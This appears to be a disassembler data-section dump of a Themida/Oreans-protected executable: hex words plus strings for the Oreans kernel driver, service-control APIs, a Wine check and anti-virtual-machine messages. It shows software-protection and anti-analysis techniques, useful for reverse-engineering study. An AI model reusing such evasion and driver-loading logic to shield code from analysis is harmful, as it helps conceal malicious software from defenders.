		dd 0E9503449h, 0Fh, 0A26063B4h,	76F0DF04h, 15C21EB5h, 5934EA84h
		dd 2E19B5FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 35331CC3h, 942126E7h, 8BCAB70Fh
		dd 56858DD1h, 8906123Bh, 12078D95h, 0FD0FF06h, 0B8Bh, 5880F00h
		dd 0BA000000h, 4DB7555Bh, 0E4C8BF90h, 605036BEh, 2830Fh
		dd 5B510000h, 0A4ABB966h, 6A9061h, 0E8D08B66h, 4, 80h
		dd 0E850D78Bh, 10h, 7B7E1FEh, 75B8AA71h, 979ED2C7h, 0A58DC7A6h
		dd 5AF28B66h, 424448Bh,	12E8h, 0DD88ED00h, 0DE61E9CFh
		dd 33AB2903h, 0B798489Ah, 5FADB964h, 5250008Bh,	0FF78B66h
		dd 66B96631h, 89585A37h, 66042444h, 8B58F98Bh, 122B7D95h
		dd 6A036A06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0AA16C352h, 6AFDDF27h,	958D8B00h
		dd 6A06121Bh, 0C0DE8003h, 4E8h,	0
		dd 0B96650C0h, 448B9A97h, 8B0424h, 2F890Fh, 14E80000h
		dd 8F000000h, 2C6AF582h, 0B7AC6127h, 0A2FE4AE8h, 8AAFA342h
		dd 0E96296A2h, 10h, 29B19D05h, 0F3674F39h, 679A75Dh, 4FB07F47h
		dd 2444895Fh, 5877B204h, 509D8DF9h, 0F0614B1h, 68Dh, 0FD952B00h
		dd 50061222h, 11E9h, 84317100h,	1F1774D6h, 0A2BFFA27h
		dd 482383B9h, 1C89B78Bh, 89D68B24h, 122DF1B5h, 6AD0FF06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0F78C351h, 4D8AB014h, 0B5098612h,	6122CCDh
		dd 24850F40h, 89000002h, 12149595h, 0BE665806h,	50907D3Eh
		dd 8B90EEB2h, 12167D95h, 6A006A06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 0C879C352h
		dd 28B634C0h, 0FF2B70Fh, 686h, 0A5858900h, 29061220h, 1221318Dh
		dd 3DCF6806h, 3481167Dh, 7D3D4F24h, 52006A16h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 60036A23h
		dd 2820Fh, 5BB10000h, 6A61FE8Bh, 0EE800h, 3A120000h, 0A2DFE6B6h
		dd 0F2378D19h, 317A2EA2h, 5FFBB70Fh, 3189BD89h,	36A0612h
		dd 2C058D8Bh, 0D6680612h, 60ED0832h, 5840Fh, 7B90000h
		dd 8B22691Ah, 348161DFh, 832D624h, 61BD892Dh, 8D061216h
		dd 14B1599Dh, 58B0F06h,	66000000h, 0ABACEE81h, 241C8950h
		dd 0FFCABF0Fh, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 758B56B2h, 18850F40h
		dd 66000001h, 1FE4E781h, 0CFBF0F58h, 0FE950h, 60F0000h
		dd 87EB6E8Dh, 18F16353h, 8E456AE4h, 2404893Eh, 0C79B589h
		dd 6A0612h, 13AD958Bh, 7B680612h, 51357287h, 24348159h
		dd 357287FBh, 0E853006Ah, 3, 5BC35B20h,	4245C89h, 4244481h
		dd 19h,	8AC35343h, 0FC5AA7E8h, 9E9C7h, 0F2D0000h, 0D8141773h
		dd 6A600D7Bh, 459D0903h, 6A061231h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 6A605E4Ah
		dd 218D8903h, 68061227h, 0F03588F6h, 34816EB5h,	3588F624h
		dd 0A6D68030h, 0B1649D8Dh, 0F600614h, 8E8F0B7h,	22000000h
		dd 789C4AD6h, 0BF1B1E0Ch, 78ED0765h, 6050615Bh,	0D38BF38Bh
		dd 241C8961h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	3FC35242h, 8166D0FFh, 40671ED9h, 19850Fh, 58F80000h
		dd 6810Fh, 0B5330000h, 6123099h, 18CE9h, 0BD8D8B00h, 8B061202h
		dd 0E0F7BED8h, 0E94B6BE2h, 0Ch,	0C99F8209h, 0EF120C2Ch
		dd 0B0BB8E38h, 1047BE58h, 85C64809h, 6120259h, 0BD8BF543h
		dd 6122E61h, 0EFA4D068h, 24048158h, 6786A5D7h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0B2C35040h, 423107F7h
		dd 48A0Fh, 0BE660000h, 0B5FF9D90h, 6122E19h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 6EC35343h, 41958B51h
		dd 5A061214h, 11E960h, 5DEB0000h, 0EC5AF72Fh, 2AB72E29h
		dd 5877D7Fh, 29C8F031h,	1232DD8Dh, 858D6106h, 6123B56h
		dd 65C68166h, 6AD0FFF8h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 0F037C356h,	0C1D0A59Eh
		dd 0A822BF66h, 5E9h, 0EE70D00h,	958B0D5Ah, 6122439h, 8E0F5193h
		dd 19h,	14E9h, 55745C00h, 0CAF145EFh, 0B474BD6Bh, 0E9C8E845h
		dd 188692A4h, 0F505F63h, 8Ch, 0B5519300h, 0D0FF5949h, 81665351h
		dd 5ED434CAh, 179D8D5Fh, 0F061273h, 881h, 0B5895000h, 6122D75h
		dd 7E95Ah, 20B10000h, 0A116F1B9h, 1B8F6h, 0E7810000h, 20EA89F3h
		dd 6AE3FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 802614C3h, 0FE97Bh, 68B10000h, 39DDBAA5h
		dd 0FEC251DBh, 86D6B6EAh, 6AC18B84h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0B3D2C350h
		dd 37ED8061h, 860FC08Bh, 6, 4129F681h, 0BD83213Ah, 6120E71h
		dd 83097500h, 122D69BDh, 19740006h, 0C08B5350h,	40FB8h
		dd 5858900h, 8D061232h,	14B0519Dh, 5BD3FF06h, 69BD8358h
		dd 6122Dh, 53501774h, 40FB8h, 5858900h,	8D061232h, 14ACF29Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0EF1C1FFh, 9D89BBFCh, 61234B9h, 3235B58Bh
		dd 85890612h, 6121AA5h,	0BE8C08Bh, 0CA000000h, 0B8FA96CAh
		dd 93D35825h, 0B58BC144h, 61200DDh, 7BB4BE5Fh, 0C781690Bh
		dd 62B0h, 0D98D3160h, 50061234h, 29F5BD8Bh, 615F0612h
		dd 0D38ADB33h, 811F048Bh, 0B7EF97C0h, 47F08174h, 8953EBD9h
		dd 1202D1B5h, 76E88106h, 0E96452D8h, 13h, 25B07523h, 0C098ABC0h
		dd 0DD2DD2E4h, 430C2B82h, 899560ECh, 820F1F04h,	3, 60D2B70Fh
		dd 2630BF66h, 0BE9h, 101F6A00h,	2CACA8A1h, 0C53B7881h
		dd 5EB8161h, 803E3956h,	0C38109EDh, 3E395601h, 0FB81C88Ah
		dd 0FFFF9E28h, 11850Fh,	8D310000h, 61207D1h, 2EE9h, 374D2100h
		dd 0FF76C32h, 108Ch, 0BE900h, 0D8FA0000h, 40ED3571h, 0B5F87951h
		dd 0FF62E9E0h, 63E7FFFFh, 0A3C4C3A5h, 0B07E4609h, 0E98BF1B4h
		dd 99h,	6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h
		dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h
		dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h
		dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h
		dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h
		dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh
		dd 61747370h, 737574h, 0
aCheckprotectio	db '/checkprotection',0
		align 4
		dd 97BD8300h, 614B9h, 0A840Fh, 85C70000h, 6122D69h, 1
		dd 25985C6h, 68470612h,	52AB9706h, 87240481h, 0FF3DC1D5h
		dd 122E19B5h, 56858D06h, 0FF06123Bh, 8BD0FFD0h,	223F80F8h
		dd 22850Fh, 0B0470000h,	850FAE22h, 0FFFFFFF9h, 0F003F80h
		dd 31884h, 3F804700h, 0E840F00h, 0E9000003h, 1Eh, 0F003F80h
		dd 30084h, 203F8000h, 6850Fh, 0E9470000h, 6, 0FFE2E947h
		dd 3F80FFFFh, 5850F00h,	0E9000000h, 2DDh, 1E9h,	3F804700h
		dd 0F6840F20h, 80FFFFFFh, 850F003Fh, 5,	2C0E9h,	0AE800h
		dd 0CBE90000h, 0E9FFFFFFh, 2B1h, 0B917B58Dh, 25E80614h
		dd 3000002h, 14B9ACBDh,	0ACBD8306h, 614B9h, 0B840Fh, 85C70000h
		dd 6120E71h, 1,	22B58DC3h, 0E80614B9h, 1FCh, 0B9ACBD03h
		dd 0BD830614h, 614B9ACh, 0B840F00h, 0C7000000h,	122D6985h
		dd 106h, 0B58DC300h, 614B99Bh, 1D3E8h, 0ACBD0300h, 830614B9h
		dd 14B9ACBDh, 840F0006h, 0Bh, 2F6985C7h, 10612h, 8DC30000h
		dd 14B92CB5h, 1AAE806h,	0BD030000h, 614B9ACh, 0B9ACBD83h
		dd 0F000614h, 0B84h, 6985C700h,	106122Dh, 0C3000000h, 0B936B58Dh
		dd 81E80614h, 3000001h,	14B9ACBDh, 0ACBD8306h, 614B9h
		dd 15840Fh, 85C70000h, 6122D69h, 1, 0E7185C7h, 10612h
		dd 8DC30000h, 14B944B5h, 14EE806h, 0BD030000h, 614B9ACh
		dd 0B9ACBD83h, 0F000614h, 0A84h, 0AD85C700h, 1061226h
		dd 8D000000h, 14B94EB5h, 126E806h, 0BD030000h, 614B9ACh
		dd 0B9ACBD83h, 0F000614h, 0A84h, 0AD85C700h, 1061226h
		dd 8D000000h, 14B959B5h, 0FEE806h, 0BD030000h, 614B9ACh
		dd 0B9ACBD83h, 0F000614h, 0A84h, 0B985C700h, 1061200h
		dd 8D000000h, 14B95FB5h, 0D6E806h, 0BD030000h, 614B9ACh
		dd 0B9ACBD83h, 0F000614h, 0A84h, 4D85C700h, 1061212h, 8D000000h
		dd 14B965B5h, 0AEE806h,	0BD030000h, 614B9ACh, 0B9ACBD83h
		dd 0F000614h, 0A84h, 8985C700h,	1061235h, 8D000000h, 14B973B5h
		dd 86E806h, 0BD030000h,	614B9ACh, 0B9ACBD83h, 0F000614h
		dd 0A84h, 0BD85C700h, 1061204h,	8D000000h, 14B980B5h, 5EE806h
		dd 0BD030000h, 614B9ACh, 0B9ACBD83h, 0F000614h,	0A84h
		dd 0FD85C700h, 1061234h, 8D000000h, 14B98BB5h, 36E806h
		dd 0BD030000h, 614B9ACh, 0B9ACBD83h, 0F000614h,	0A84h
		dd 0FD85C700h, 1061233h, 0E9000000h, 1,	203F8047h, 9840Fh
		dd 3F800000h, 0ED850F00h, 0C3FFFFFFh, 1B960h, 0DE8B0000h
		dd 19E9h, 3F8000h, 2850Fh, 0C92B0000h, 1638178Ah, 2840Fh
		dd 0C92B0000h, 3E804746h, 8840F00h, 0B000000h, 0D6850FC9h
		dd 0BFFFFFFh, 21840FC9h, 80000000h, 840F003Fh, 9, 0F203F80h
		dd 0A85h, 1B900h, 5E90000h, 0B9000000h,	0
		dd 840FC90Bh, 0Dh, 0B589F32Bh, 614B9ACh, 0AE9h,	0AC85C700h
		dd 614B9h, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
		dd 61226ADh, 0
		dd 13E8C88Bh, 0D2000000h, 86FAFC3Fh, 0B9852CB0h, 0CB5DAFACh
		dd 0B56AB4D3h, 9589D1DAh, 6122B41h, 0CE8B665Bh,	70D4C381h
		dd 0B5090000h, 6122CE9h, 0BAh, 10E800h,	1C00000h, 0EE3A1A7Ah
		dd 4358F508h, 36981158h, 0F38B40E5h, 1A34FF5Eh,	58F8BF0Fh
		dd 0E881CE8Bh, 516F87BDh, 4414E881h, 0BD8B72ABh, 61212F9h
		dd 9B6EE881h, 50564271h, 1FD8D2Bh, 59590612h, 294BBF50h
		dd 48F47ECh, 2991B113h,	1212219Dh, 93EA8106h, 815127BDh
		dd 27BD8FC2h, 39BE6651h, 0D4FA8108h, 0FFFFF8Fh,	0FFFFA885h
		dd 0BD8B60FFh, 6120A39h, 0B618531h, 0E9610612h,	20Eh, 6E614333h
		dd 20746F6Eh, 74697277h, 726F2065h, 736E6165h, 6478762Eh
		dd 614D0D0Ah, 7320656Bh, 20657275h, 74616874h, 69687420h
		dd 69662073h, 6920656Ch, 6F6E2073h, 65622074h, 20676E69h
		dd 64657375h, 20796220h, 746F6E61h, 20726568h, 676F7270h
		dd 2E6D6172h, 68h dup(0)
aOreans_vxd	db '\Oreans.vxd',0
		dd 2 dup(0)
		dd 0EFE90000h, 0C6000000h, 12025985h, 86684706h, 0FFE3E45Bh
		dd 122E19B5h, 56858D06h, 0FF06123Bh, 10468D0h, 9D8D0000h
		dd 6120679h, 50D0FF53h,	0BFE7B58Dh, 0FE8B0614h,	0FAEC032h
		dd 0FFFFF985h, 8BFE2BFFh, 0FB8B58CFh, 0A4F3F803h, 25985C6h
		dd 68430612h, 0BC8E6EFCh, 2E19B5FFh, 858D0612h,	6123B56h
		dd 0B58DD0FFh, 6120679h, 8068006Ah, 6A000000h, 6A006A02h
		dd 6800h, 0FF56C000h, 0C6D88BD0h, 12025985h, 56685706h
		dd 0FFA69BEEh, 122E19B5h, 56858D06h, 0FF06123Bh, 6DBD8DD0h
		dd 8D061219h, 14C10D8Dh, 57006A06h, 37D068h, 0FF535100h
		dd 0FC085D0h, 1B85h, 0EFB58D00h, 8D0614BDh, 14A9BB85h
		dd 8DD0FF06h, 1273178Dh, 0B806h, 0E1FF0000h, 25985C6h
		dd 68430612h, 0C0764AA7h, 2E19B5FFh, 858D0612h,	6123B56h
		dd 0FF53D0FFh, 0D0B9C3D0h, 0E8000037h, 0
		dd 0EC08358h, 2E90889h,	8B000000h, 37D0E9C3h, 5A4D0000h
		dd 30090h, 40000h, 0FFFF0000h, 0B80000h, 0
		dd 400000h, 8 dup(0)
		dd 0B00000h, 1F0E0000h,	0B4000EBAh, 0B821CD09h,	21CD4C01h
		dd 73696854h, 6F727020h, 6D617267h, 6E616320h, 20746F6Eh
		dd 72206562h, 69206E75h, 4F44206Eh, 6F6D2053h, 0D2E6564h
		dd 240A0Dh, 0
		dd 175D0000h, 7619DB1Dh, 2 dup(76198873h), 56E58873h, 76188861h
		dd 76198873h, 76188873h, 69528873h, 76196863h, 8873h, 0
		dd 454C0000h, 0
		dd 20000h, 4, 80000000h, 140003h, 4 dup(0)
		dd 2000000h, 1C00000h, 900000h,	0
		dd 7E0000h, 0
		dd 0C40000h, 10000h, 0DC0000h, 3 dup(0)
		dd 12C0000h, 1380000h, 2 dup(0)
		dd 1420000h, 1960000h, 1D20000h, 0
		dd 1D20000h, 0
		dd 10000000h, 140000h, 37C00000h, 100000h, 0Dh dup(0)
		dd 27C00400h, 0
		dd 20450000h, 10000h, 140000h, 434C0000h, 444Fh, 1, 2
		dd 3, 4, 5, 6, 7, 8, 9,	0Ah, 0Bh, 0Ch, 0Dh, 0Eh, 0Fh, 10h
		dd 11h,	12h, 13h, 58080014h, 544F5250h,	445856h, 3010000h
		dd 30001h, 2 dup(0)
		dd 13h dup(7), 3Ch, 180007h, 7276001h, 101AD00h, 70050h
		dd 9B010191h, 6002727h,	79276F01h, 81017D01h, 89018501h
		dd 7018D01h, 1017500h, 72795h, 98010171h, 6B000727h, 27710101h
		dd 360h	dup(0)
		dd 4000000h, 10000h, 50580000h,	56544F52h, 4458h, 8000h
		dd 8 dup(0)
		dd 65760000h, 505072h, 76310000h, 76325273h, 76335273h
		dd 5273h, 407h dup(0)
		db 0
byte_576855	db 3 dup(0)		; DATA XREF: Themida_:00568F84o
		dd 5BBh	dup(0)
		dd 0E8830000h, 9F8831Bh, 24FF0773h, 85h, 0C3F800h, 8 dup(0)
		dd 33000000h, 0C033C3C0h, 0C7E83C3h, 33047500h,	831AEBC0h
		dd 75010C7Eh, 58D14h, 8B000000h, 789187Eh, 42046C7h, 33000000h
		dd 580CC3C0h, 544F5250h, 5F445856h, 424444h, 0B7E90000h
		dd 41000010h, 50415644h, 2E323349h, 4C4C44h, 6E65704Fh
		dd 614D4353h, 6567616Eh, 43004172h, 74616572h, 72655365h
		dd 65636976h, 74530041h, 53747261h, 69767265h, 416563h
		dd 4E746547h, 76697461h, 73795365h, 496D6574h, 6F666Eh
		dd 6E65704Fh, 76726553h, 41656369h, 6C654400h, 53657465h
		dd 69767265h, 43006563h, 65736F6Ch, 76726553h, 48656369h
		dd 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch, 65636976h
		dd 8 dup(0)
		dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
		dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32	db 'oreans32',0
a_Oreans32	db '\\.\oreans32',0
a_GlobalOreans3	db '\\.\Global\oreans32',0
aOreansx64	db 'oreansx64',0
a_GlobalOreansx	db '\\.\Global\oreansx64',0
		align 4
		dd 41h dup(0)
		dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
		dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
		dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
		dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
		dd 736E6165h, 732E3233h, 7379h,	48h dup(0)
		dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
		dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
		dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
		dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
		dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
		dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
		dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
		dd 676F7270h, 2E6D6172h, 59h dup(0)
		dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
		dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
		dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
		dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
		dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
		dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
		dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
		dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
		dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
		dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
		dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
		dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
		dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
		dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd	db '%s\Oreans.vxd',0
		align 10h
aXprotevent	db 'XprotEvent',0
		align 4
		dd 0Ah dup(0)
		dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
		dd 6567h, 43000000h, 74616572h,	65764565h, 4120746Eh, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
		dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
		dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
		dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
		dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
		dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
		dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
		dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
		dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
		dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
		dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
		dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
		dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
		dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
		dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
		dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
		dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
		dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
		dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
		dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
		dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
		dd 10h,	0FF000100h, 17FFEFFh, 1000000h,	4A000000h, 2, 0F000100h
		dd 40800h, 94h,	5, 1, 0A28h, 2,	21h dup(0)
aSoftwareWine	db 'Software\Wine',0
		dw 0C48Bh
		dd 0FD18B66h, 688h, 85BD8B00h, 89061211h, 121AAD85h, 61950906h
		dd 8B061221h, 0BD83F8C0h, 6120E71h, 83097500h, 122D69BDh
		dd 19740006h, 0C08B5350h, 43DB8h, 0F5858900h, 8D061234h
		dd 14AFEA9Dh, 5BD3FF06h, 69BD8358h, 6122Dh, 53501774h
		dd 43DB8h, 0F5858900h, 8D061234h, 14ACD99Dh, 5BD3FF06h
		dd 0F2BA6658h, 56006A8Eh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1604h, 0C3564600h, 8B11FEABh, 123279BDh
		dd 6AC08B06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 5665C356h, 2CC42E64h, 8B6625B9h
		dd 0E19589FEh, 8B06120Ah, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 7E5CA94Bh
		dd 81BAF30Eh, 90A3FECFh, 71BD831Ah, 6120Eh, 0BD830975h
		dd 6122D69h, 50137400h,	0B8C08B53h, 0
		dd 0AE8C9D8Dh, 0D3FF0614h, 0BD83585Bh, 6122D69h, 50117400h
		dd 0B853h, 9D8D0000h, 614AD3Dh,	585BD3FFh, 14E9h, 0A10E200h
		dd 9DEADF9Eh, 0ED667270h, 3A869433h, 0BAB94B42h, 258D29F9h
		dd 8B061217h, 6820FC0h,	8B000000h, 1209C58Dh, 0B9C08B06h
		dd 783F559Eh, 0E71BD83h, 75000612h, 69BD8309h, 6122Dh
		dd 53501374h, 0B8C08Bh,	8D000000h, 14ADBE9Dh, 5BD3FF06h
		dd 69BD8358h, 6122Dh, 53501174h, 0B8h, 0B9D8D00h, 0FF0614ADh
		dd 80585BD3h, 8D09DCDAh, 6121A41h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 3DC35040h, 0A4411B4Fh, 0B556D4EAh
		dd 0F850Fh, 0AE90000h, 9E000000h, 189BE230h, 13E8A65Eh
		dd 66C08BF5h, 0AE11E781h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 1577A7C3h, 97581967h
		dd 8E0F60B0h, 2, 890F6160h, 17h, 11E8h,	62766700h, 0FD1C3EA2h
		dd 1A520168h, 9BA886A2h, 615FDD4Eh, 0E71BD83h, 75000612h
		dd 69BD8309h, 6122Dh, 53501374h, 0B8C08Bh, 8D000000h, 14AE259Dh
		dd 5BD3FF06h, 69BD8358h, 6122Dh, 53501174h, 0B8h, 249D8D00h
		dd 0FF0614ADh, 66585BD3h, 0FE11FBAh, 1383h, 0BE800h, 0C38A0000h
		dd 7C15CAC3h, 1A732439h, 59CA8A59h, 459BD2Bh, 0C08B0612h
		dd 1A718D8Bh, 0C08B0612h, 71BD83FCh, 6120Eh, 0BD830975h
		dd 6122D69h, 50137400h,	0B8C08B53h, 0
		dd 0AD579D8Dh, 0D3FF0614h, 6A585Bh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B307DC3h
		dd 672A0FEEh, 0D1816660h, 870F391Ch, 6,	16058509h, 8B610612h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 203DB149h, 77EE0355h, 0C70FBF66h, 0BE9C08Bh
		dd 0D0000000h, 2A4F4688h, 192F5F27h, 0BD831B10h, 6120E71h
		dd 83097500h, 122D69BDh, 19740006h, 0C08B5350h,	7D0B8h
		dd 0F5858900h, 8D061234h, 14AFEA9Dh, 5BD3FF06h,	69BD8358h
		dd 6122Dh, 53501774h, 7D0B8h, 0F5858900h, 8D061234h, 14ACD99Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 5958B56h,	6A06121Ch, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 1D54C357h
		dd 5805BC79h, 8D8BC08Bh, 6121345h, 25985C6h, 0E9530612h
		dd 13h,	3B436903h, 0C15ACAE6h, 2582DF06h, 0EC8021DAh, 687A2C2Fh
		dd 99395F90h, 0BD315360h, 6120355h, 61CA8B5Fh, 0D9BD8960h
		dd 2306121Ah, 122B199Dh, 0B5FF6106h, 6122E19h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0CAC35040h, 0B8FA96CAh
		dd 93D35825h, 3B56858Dh, 0BF0F0612h, 0D18166C9h, 0D0FF103Bh
		dd 0B58D8B53h, 5F061223h, 0AC98589h, 6A0612h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 57F521C3h
		dd 6D97EB5Eh, 10E9F5E9h, 33000000h, 0DB90B05Ah,	0F2AAF37Eh
		dd 0B7C4C7F7h, 66971EF0h, 4D7FE281h, 25985C6h, 0E9570612h
		dd 0Fh,	8601547Dh, 5683D64Dh, 0DD87855Ah, 68CA86A4h, 90045206h
		dd 78D8D8Bh, 0B5FF0612h, 6122E19h, 11E9h, 0BBA82600h, 0EB2D285Ah
		dd 0B3F12C3Ch, 0B21E254Eh, 858D573Bh, 6123B56h,	7E8h, 4B5EB700h
		dd 54FEA495h, 24E58D89h, 0FF5F0612h, 0DE9D0h, 0EF840000h
		dd 0B716DFBAh, 2FFF222h, 89FB2137h, 1235C985h, 15950B06h
		dd 0C6061225h, 12025985h, 8D8B4306h, 6122131h, 90702868h
		dd 50006ABCh, 3E8h, 0C3582000h,	24448958h, 24448104h, 1804h
		dd 0C3504000h, 22D0307Ch, 19B5FF05h, 0F06122Eh,	182h, 858DF500h
		dd 6123B56h, 0FFC9BF0Fh, 19533D0h, 89061220h, 120A4585h
		dd 0C8C0F06h, 0F000000h, 68Eh, 2D8D8B00h, 0C606122Bh, 12025985h
		dd 66524C06h, 5FA85EBFh, 0DA1CE968h, 52006AD9h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 0BD8BA7E0h
		dd 612331Dh, 2E19B5FFh,	0B5890612h, 61210B1h, 3B56858Dh
		dd 890F0612h, 6, 1AB1BD01h, 13E80612h, 52000000h, 9CD725D1h
		dd 452C7077h, 868FE50h,	0BEDF923Fh, 0BE98E06h, 34000000h
		dd 160B98ACh, 777FE40Bh, 0FF59C35Dh, 8589F9D0h,	6122189h
		dd 85C6FA8Bh, 6120259h,	18D8946h, 0B061213h, 122AA18Dh
		dd 6146806h, 870FBADEh,	0Ch, 6850Fh, 0BD8B0000h, 6122BF5h
		dd 2E19B5FFh, 0E8600612h, 8, 8EBADCD3h,	0B8295E25h, 0EE9h
		dd 106F1100h, 6EB63291h, 0BD513C5Eh, 5BFAFE52h,	56858D61h
		dd 8B06123Bh, 12321595h, 8B666006h, 0BDB589D1h,	6106122Ah
		dd 1BB6D0FFh, 3A58589h,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 180424h, 53430000h, 0D581D3C3h, 816671BBh
		dd 0C64B8FC7h, 12025985h, 66604706h, 17C4F181h,	4F18166h
		dd 0E26861F9h, 6A8A0FB5h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 12E1C351h, 946A4D52h
		dd 204E74FFh, 0CE8h, 0CB5C8400h, 245BBD10h, 960A9845h
		dd 85958B3Ah, 5906121Ah, 68F0F60h, 81000000h, 74C058F3h
		dd 0CBBF0F4Dh, 19B5FF61h, 8106122Eh, 0EAF042EFh, 56858D6Bh
		dd 8B06123Bh, 121A2DBDh, 89D0FF06h, 121A5585h, 61858906h
		dd 0F06121Ch, 1C82h, 11E800h, 456F0000h, 0B8641871h, 0EBA35E1Fh
		dd 0F352109Ah, 662E2F5Eh, 84E1C781h, 5985C65Ah,	47061202h
		dd 5DE28166h, 0B5F368D4h, 6A83D0h, 3E856h, 5E200000h, 74895EC3h
